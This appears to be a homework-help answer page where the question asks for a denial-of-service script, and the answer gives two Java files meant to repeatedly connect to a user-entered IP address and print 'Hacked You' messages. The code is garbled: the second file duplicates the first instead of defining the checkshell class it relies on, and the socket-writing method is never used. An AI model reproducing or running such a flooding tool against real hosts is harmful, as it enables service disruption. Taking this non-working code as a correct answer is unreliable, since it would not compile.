Note: It should be done in Java or C++. -In order to test the script, you should
ID: 3775886 • Letter: N
Question
Note: It should be done in Java or C++.
-In order to test the script, you should be able to set the host and local addresses as your computer IP address.
Explanation / Answer
*************************************dos.Java*********************************
package dos;
import java.io.OutputStreamWriter;
import java.net.Socket;
import java.util.Scanner;
import java.io.BufferedWriter;
import java.io.IOException;
public class dos extends Socket implements Runnable {
static dos d1 = new dos();
public static void main(String[] args) {
new Thread(d1).start();
}
public void run() {
Scanner scanner = new Scanner(System.in);
System.out.println("Lets begin...!!! ");
System.out.println("Enter the Ip Address for DoS : ");
String ip = scanner.nextLine();
String TARGET = ip;
if(ip == null || ip.length() == 0) {
System.out.println("Please enter correct ip address");
}
for (int i = 1; i < 1000000; i++) {
if ((checkshell.exists("http://"+TARGET+"")) == true) {
System.out.println("Hacked You...!!!" + i+" Times with " +i+" Connection !!!");
}
else{
if ((checkshell.exists("http://"+TARGET+"")) == false) {
System.out.println("Trying again...! " +i+" Connection !!!");
}
}
}
}
public static void sendRLine(String text, Socket sock) {
try {
BufferedWriter out = new BufferedWriter(new OutputStreamWriter(sock.getOutputStream()));
out.write(text + " ");
out.flush();
} catch (IOException ex) {
System.out.println("Target Offline ....");
}
}
}
***********************************checkshell.java*******************************************
package dos;
import java.io.OutputStreamWriter;
import java.net.Socket;
import java.util.Scanner;
import java.io.BufferedWriter;
import java.io.IOException;
public class dos extends Socket implements Runnable {
static dos d1 = new dos();
public static void main(String[] args) {
new Thread(d1).start();
}
public void run() {
Scanner scanner = new Scanner(System.in);
System.out.println("Lets begin...!!! ");
System.out.println("Enter the Ip Address for DoS : ");
String ip = scanner.nextLine();
String TARGET = ip;
if(ip == null || ip.length() == 0) {
System.out.println("Please enter correct ip address");
}
for (int i = 1; i < 1000000; i++) {
if ((checkshell.exists("http://"+TARGET+"")) == true) {
System.out.println("You are hacked" + i+" Times with " +i+" Connection !!!");
}
else{
if ((checkshell.exists("http://"+TARGET+"")) == false) {
System.out.println("Error after " +i+" Connection !!!");
}
}
}
}
public static void sendRawLine(String text, Socket sock) {
try {
BufferedWriter out = new BufferedWriter(new OutputStreamWriter(sock.getOutputStream()));
out.write(text + " ");
out.flush();
} catch (IOException ex) {
System.out.println("Target Offline ....");
}
}
}
Related Questions
drjack9650@gmail.com
Navigate
Integrity-first tutoring: explanations and feedback only — we do not complete graded work. Learn more.